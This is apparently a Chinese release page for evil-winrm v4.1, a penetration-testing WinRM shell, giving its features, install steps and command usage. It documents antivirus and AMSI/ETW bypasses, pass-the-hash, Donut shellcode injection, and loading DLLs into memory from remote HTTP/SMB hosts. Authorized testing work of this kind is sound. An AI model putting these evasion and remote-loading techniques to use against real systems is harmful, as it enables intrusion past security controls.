返回更新列表
新发布Sep 4, 2026

evil-winrm v4.1

用于黑客/渗透测试的终极 WinRM shell

分享

Evil-WinRM Version-shield Ruby2.3-shield Gem-Version License-shield Docker-shield

用于黑客/渗透测试的终极 WinRM 外壳

Banner

描述与用途

该外壳是用于黑客/渗透测试的终极 WinRM 外壳。

WinRM(Windows 远程管理)是微软对 WS-Management 协议的实现。它是一种基于 SOAP 的标准协议, 允许来自不同供应商的硬件和操作系统进行互操作。微软将其包含在其操作系统中, 以便让系统管理员的工作更加轻松。

该程序可用于任何启用了此功能(通常位于端口 5985)的 Microsoft Windows 服务器,当然前提是 你拥有使用它的凭据和权限。因此,我们可以说它可用于黑客/渗透测试的后渗透 阶段。该程序的目的是为黑客活动提供友好且易于使用的功能。系统管理员也可以将其用于合法 目的,但其大部分功能都专注于黑客/渗透测试相关的内容。

它主要基于 WinRM Ruby 库,该库自 2.0 版本起改变了其工作方式。现在,它不再使用 WinRM 协议,而是使用 PSRP(PowerShell 远程协议)来初始化运行空间池以及创建和处理管道。

功能特性

  • 兼容 Linux 和 Windows 客户端系统
  • 在内存中加载 PowerShell 脚本
  • 在内存中加载 dll 文件,绕过部分杀毒软件
  • 在内存中加载 C#(C Sharp)程序集,绕过部分杀毒软件
  • 加载使用出色的 donut 技术生成的 x64 载荷
  • 动态 AMSI 绕过以规避杀毒软件特征
  • 支持哈希传递
  • 支持 Kerberos 认证,包括 ccache 和 kirbi 文件
  • 支持 SSL 和证书
  • 上传和下载文件并显示进度条
  • 无需权限即可列出远程机器服务
  • 命令历史记录
  • WinRM 命令补全
  • 本地文件/目录补全
  • 远程路径(文件/目录)补全(可选择性禁用)
  • 提示符和输出消息着色(可选择性禁用)
  • 可选日志记录功能
  • Docker 支持(预构建镜像可在 Dockerhub 获取)
  • 陷阱捕获以避免在按 Ctrl+C 时意外退出外壳
  • 使用合法的 Windows 默认用户代理进行自定义
  • ETW(Windows 事件跟踪)绕过

帮助```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

## 要求
需要 Ruby 2.3 或更高版本。还需要一些 Ruby gem:`winrm >=2.3.7`、`winrm-fs >=1.3.2`、`stringio >=0.0.2`、`logger >= 1.4.3`、`fileutils >= 0.7.2`、`readline ~> 0.0.4`、`readline-ext ~> 0.2.0`。
根据你的安装方法(共有 4 种),可能需要手动安装这些依赖。

另一个仅用于 Kerberos 认证的重要要求是安装用于网络认证的 Kerberos 包。
对于某些基于 Debian 的 Linux(如 Kali、Parrot 等),它被称为 `krb5-user`。对于 BlackArch,它被称为 `krb5`,而在其他 Linux 发行版中可能名称不同。

远程路径补全功能需要原生的 `readline-ext` 绑定,它会作为 Evil-WinRM 的依赖自动安装。某些系统需要额外的开发包才能编译它。更多信息请查看[下面的章节](#Remote-path-completion)。

## 安装与快速开始(4 种方法)

### 方法 1. 直接作为 Ruby gem 安装(依赖将自动安装到你的系统上)
 - 步骤 1. 安装它(依赖将自动安装):```gem install evil-winrm```
 - 步骤 2. 完成。直接启动即可!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

方法 2:通过 Git 克隆并在系统上手动安装依赖

  • 步骤 1. 手动安装依赖:sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext
  • 步骤 2. 克隆仓库:git clone https://github.com/Hackplayers/evil-winrm.git
  • 步骤 3. 完成。直接启动即可!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
### 方法 3:使用 bundler(依赖不会安装到你的系统中,仅用于使用 evil-winrm)
 - 步骤 1. 安装 bundler:`gem install bundler`
 - 步骤 2. 克隆仓库:`git clone https://github.com/Hackplayers/evil-winrm.git`
 - 步骤 3. 使用 bundler 安装依赖:`cd evil-winrm && bundle install --path vendor/bundle`
 - 步骤 4. 使用 bundler 启动它:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

方法 4:使用 Docker

  • 步骤 1. 基于已构建的镜像启动 Docker 容器:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
## 文档

### 明文密码
如果你不想以明文形式输入密码,可以选择不设置 `-p` 参数,系统会提示你输入密码,且不会显示在屏幕上。

### IPv6
要使用 IPv6,必须将地址添加到 /etc/hosts 中。只需在 `-i` 参数后填入已设置的主机名,而不是 IP 地址。

### 基本命令
 - **upload**:本地文件可以使用 Tab 键自动补全。
   - 用法:`upload local_filename` 或 `upload local_filename destination_filename`
 - **download**:
   - 用法:`download remote_filename` 或 `download remote_filename destination_filename`

 __关于路径的说明(upload/download)__:
   下载/上传时不允许使用相对路径。请使用当前目录下的文件名或绝对路径。
   如果你在 docker 环境中使用 Evil-WinRM,请记住所有本地路径都应位于 `/data`,并确保你已将其映射为卷,以便能够访问下载的文件或从本地主机操作系统上传文件。

 - **services**:列出所有服务,并显示你的账户是否对每个服务拥有权限。使用此功能无需管理员权限。
 - **menu**:加载 `Invoke-Binary`、`Dll-Loader` 和 `Donut-Loader` 函数,我们将在下面进行说明。当加载 ps1 文件时,其所有函数都会显示出来。
 - **clear** 或 **cls**:清除终端屏幕。你也可以使用 `Ctrl+L` 键盘快捷键来清除屏幕。
 - **exit** 或 **quit**:关闭 Evil-WinRM 会话。你也可以使用 `Ctrl+D` 键盘快捷键。```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

加载 PowerShell 脚本

  • 要加载 ps1 文件,只需输入文件名(支持使用 Tab 键自动补全)。脚本必须位于通过 -s 参数设置的路径中。再次输入 menu 即可查看已加载的函数。非常大的文件可能需要较长时间才能加载完成。``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

    ,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
    | __)
    \ / / | | ;
    )') \ // / |/ | / / \ /
    | \ /| | |
    /
    / \ /| | | \ | / Y
    /
    _____ / _/ |__|
    / _/\ / ||| /__| /__| / / / / / /

       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
    

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

### 高级命令
- Invoke-Binary:允许在内存中执行 .Net 程序集。名称可使用 Tab 键自动补全。可执行文件的参数可以逗号分隔的形式传递。示例:`Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`。可执行文件必须位于 `-e` 参数所设置的路径中。```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:


  • Dll-Loader:允许在内存中加载 dll 库,等同于:[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

    dll 文件可以通过 smb、http 或本地托管。加载后输入 menu,即可自动补全所有函数。``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

    Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

    Description

    Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

- Donut-Loader:允许注入使用出色的 [donut] 技术生成的 x64 载荷。无需对 payload.bin 进行编码,只需生成并注入即可!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

你可以使用这个 donut-maker 来生成 payload.bin,如果你不使用 Windows 的话。 该脚本使用了由 Marcello Salvati(byt3bl33d3r)编写的 Python 模块。可以通过 pip 安装:`pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe


.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !
./ \ _ _ .
__./ "

X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----
" / Y \ / | "x
.^ |
j Y

[+] Donut generated successfully: payload.bin

- Bypass-4MSI:修补 AMSI 保护。```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

  • 首先必须与域控同步时间:rdate -n <dc_ip>

  • 生成票据的方法有很多种:

  • 添加票据文件。有 3 种方式:

    export KRB5CCNAME=/foo/var/ticket.ccache

    cp ticket.ccache /tmp/krb5cc_0

    使用 -K 参数:evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccacheevil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

    使用 -K 时,工具将自动:

    • 检测票据格式(ccache 或 kirbi)
    • 如有需要,将 kirbi 票据转换为 ccache 格式(需要 ticket_converter.py 或 impacket-ticketConverter)
    • 验证文件是否存在且可读
    • 设置 KRB5CCNAME 环境变量
    • 将 IP 地址解析为 FQDN,以获得更好的 Kerberos 兼容性
  • 将 realm 添加到 /etc/krb5.conf(适用于 Linux)。使用此格式非常重要: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }

  • 使用 klist 检查 Kerberos 票据

  • 使用 kdestroy 移除票据

  • 有关 Kerberos 的更多信息,请查看此[速查表]

远程路径补全

此功能需要原生的 readline-ext 绑定。Evil-WinRM 将其声明为依赖项,因此在使用 RubyGems 或 Bundler 时会自动安装。如果无法构建原生扩展,此功能将无法使用(会显示警告)。

Ruby 3.3+ 注意事项: ext/readline 已在 Ruby 3.3 中从源码中移除(Feature #19616)。因此,下面的方法 1 无法在 Ruby 3.3 或更高版本中使用。在基于 Debian 的系统上,请在安装 Evil-WinRM 或其依赖项之前安装所需的开发包:``` sudo apt install libreadline-dev

`readline-ext` 依赖使得 `require 'readline'` 加载 GNU Readline 而非 `reline`,后者缺少 `quoting_detection_proc`——这是 Evil-WinRM 所检查的方法。以下方法针对较旧的 Ruby 版本,保留它们是为了兼容性。

#### 方法 1(编译所需的扩展)

使用此方法,你将编译带有所需 readline 功能的 Ruby,但仅使用该库,而不会更改系统上的默认 Ruby 版本。因此,这是最推荐的方法。

假设你的基于 Debian 的系统上装有 Ruby 2.7.3:```
# Install needed package
apt install libreadline-dev

# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

# Extract source code
tar -xf ruby-2.7.3.tar.gz

# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make

# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

方法 2(使用 rbenv 安装 ruby,仅用于 evil-winrm)

假设你使用的是基于 Debian 的 Linux 系统,并且使用 zsh,同时希望安装 ruby 2.7.1。以下脚本将自动完成此操作。你需要从 evil-winrm.rb 和 Gemfile 所在的同一目录(例如 git clone 后创建的 evil-winrm 目录)启动它:``` #!/usr/bin/env zsh

Uninstall possible current installed versions

sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q

Install rbenv

sudo apt install rbenv

Config rbenv on zshrc config file

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc

Install ruby with readline support

export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1

Create file '.ruby-version' to set right ruby version

rbenv local 2.7.1

Install local gems

gem install bundler bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"

sudo chmod +x /usr/bin/evil-winrm

然后,您就可以从任何位置使用新安装的、具备所需 readline 支持的 Ruby 安全地启动 evil-winrm。

#### 方法 3(编译整个 Ruby)

如果您想自行编译,可以按照以下步骤操作。假设您需要 Ruby 2.7.3:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

根据你的系统,它可能安装在 /opt/rubies/ruby-2.7.3,或者可能在 ~/.rubies/ruby-2.7.3

现在只需要为该新安装的 ruby 版本安装 evil-winrm 的依赖。最简单的方法是执行命令 /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm。所使用的 gem 命令必须属于新的 ruby 安装。

之后,你可以安全地启动新安装的 ruby 来在 evil-winrm 上使用它:/opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

建议仅使用这个新安装的 ruby 来启动 evil-winrm。如果你将其设置为系统的默认 ruby,请记住它没有安装任何依赖 gem。一些基于 ruby 的软件(如 Metasploit 或其他)可能因依赖问题而无法正常启动。

日志记录

此功能将在你的 $HOME 目录下创建文件,保存 WinRM 会话的命令和输出。

命令历史

Evil-WinRM 为每个主机和用户组合维护持久化的命令历史。历史记录存储在 ~/.evil-winrm/history/ 目录中,文件名格式为 {host}_{user}.hist

当你连接到之前访问过的机器时,可以使用箭头键(上/下)浏览之前的命令。历史记录会在每次命令执行后自动保存,并在你以相同用户重新连接到同一主机时加载。

已知问题。OpenSSL 错误

有时,你可能会遇到如下错误:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

该错误是因为 OpenSSL 3.0 版本弃用了一些旧版函数(如 MD4),而运行此工具需要这些函数。目前有多种现有的解决方法可以应对这种情况:

 - 将你的系统更新到最新版本。很可能,这个问题已在使用更新版 OpenSSL 的最新 Ruby 版本中被自动修复。
 - 自行编译 Ruby,使用旧版 OpenSSL 1.x 而不是 OpenSSL 3.0,或使用 OpenSSL > 3.0 进行编译,以避免有问题的 3.0 版本。
 - 最简单的方法。编辑你的 `/etc/ssl/openssl.cnf` 配置文件,并确保配置如下所示:```
openssl_conf = openssl_init

[openssl_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1
  • 作为最后一个解决方法的替代方案,如果你的系统使用的是 LibreSSL 而不是 OpenSSL,或者你只是不想修改系统配置文件。创建一个包含上述内容的简单文件。可以使用任何名称,例如 evil-tls.conf。之后,导出一个环境变量以强制系统使用它:export OPENSSL_CONF="/path/to/evil-tls.conf"。然后启动该工具,错误将消失。

更新日志:

更新日志和项目变更可在此查看:CHANGELOG.md

致谢:

团队成员:

特别感谢:

  • Vis0r 给予的个人支持。
  • Alamot 提供的原始代码。
  • 3v4Si0N 提供的出色 dll 加载器。
  • WinRb Ruby 库的所有贡献者。
  • TheWover 提供的出色 donut 工具。
  • byt3bl33d3r 提供的用于创建 donut 载荷的 Python 库。
  • Sh11td0wn 对新功能的启发。
  • Borch 在添加日志记录功能方面的帮助。
  • noraj 在维护该工具跨 Ruby 版本兼容性方面的帮助。
  • Hackplayers 在其 GitHub 上为这个软件提供了托管空间。

免责声明与许可证

此脚本基于 LGPLv3+ 许可证。许可证直接链接:License

Evil-WinRM 应仅用于授权的渗透测试和/或非营利性教育目的。 任何滥用此软件的行为均不由作者或任何其他协作者负责。 请在你自己的服务器上和/或在获得服务器所有者许可的情况下使用它。

分类